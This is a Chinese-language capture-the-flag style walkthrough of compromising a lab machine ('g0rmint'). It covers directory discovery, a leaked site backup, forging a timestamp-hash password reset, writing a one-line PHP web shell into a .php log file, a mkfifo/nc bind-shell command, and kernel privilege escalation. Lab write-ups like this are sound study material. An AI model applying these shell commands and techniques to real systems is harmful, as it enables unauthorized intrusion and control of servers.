信息收集
主机发现
端口扫描
开放22、80端口
访问web页面,发现404错误
网站目录扫描
找到robots.txt文档
在robots.txt中发现一处目录
访问,是一处登陆点
可以尝试:万能密码、弱口令猜解、暴力破解、逻辑漏洞等
重置密码页面,可以尝试:任意密码重置、邮箱炸弹等
以上方式无果,找找页面源代码,一眼就看到backup-directory字段,这是备份,后面一大串字符应该就是备份的路径了
拼接上路径,发现访问不到
继续扫描二级目录,找到info.php文件
打开网页,是一处压缩包
将压缩包下载下来
发现是整个网站的备份文件
代码审计
查看login.php,发现登录失败的时候会生成一个日志文件(调用addlog函数)
查看addlog函数,发现日志写在.php文件中。
这里可以尝试进行木马上传,将木马写入日志文件中,结合文件包含或日志文件绝对路径建立shell连接
查看reset.php,可以看到只要知道了一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希
全局搜索Email字段,在style.css中找到邮箱和用户名
漏洞利用
使用用户名和邮箱进行密码重置,在根据时间戳进行加密
将时间进行hash加密,取前二十位。
成功进到后台管理页面
再看看写入日志的代码
http://192.168.5.136/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2021-01-29.php,这个就是日志文件了
访问日志文件
写入一句话木马
利用POST方式,结合一句话木马执行phpinfo()函数
接下来反弹shell,既然可以执行命令,直接执行反弹shell的命令就好了
mkfifo /tmp/t;
cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t;
- 第二个命令执行后浏览器会进入阻塞状态,等待外部连接,执行外部连接传入的命令,相当于一个ssh
- 在本地使用连接命令
这里要进行url编码
nc访问目标端口,获得shell
权限提升
查看目标系统版本,Ubuntu16.04
查找Ubuntu16.04的内核漏洞,发现一处本地提权漏洞
本地编译(目标服务器无法使用gcc命令),开启apache服务
在目标服务器上下载提权脚本,赋予执行权限,执行脚本成功提权
总结
1、代码审计,如果目标站点是开源的,可以考虑下载源码进行审计,从代码层面进行渗透。
2、系统内核漏洞利用,不管是Linux还是Windows系统,企业中服务器都不会是最新的版本,可以在网上找到很多对应版本的POC和EXP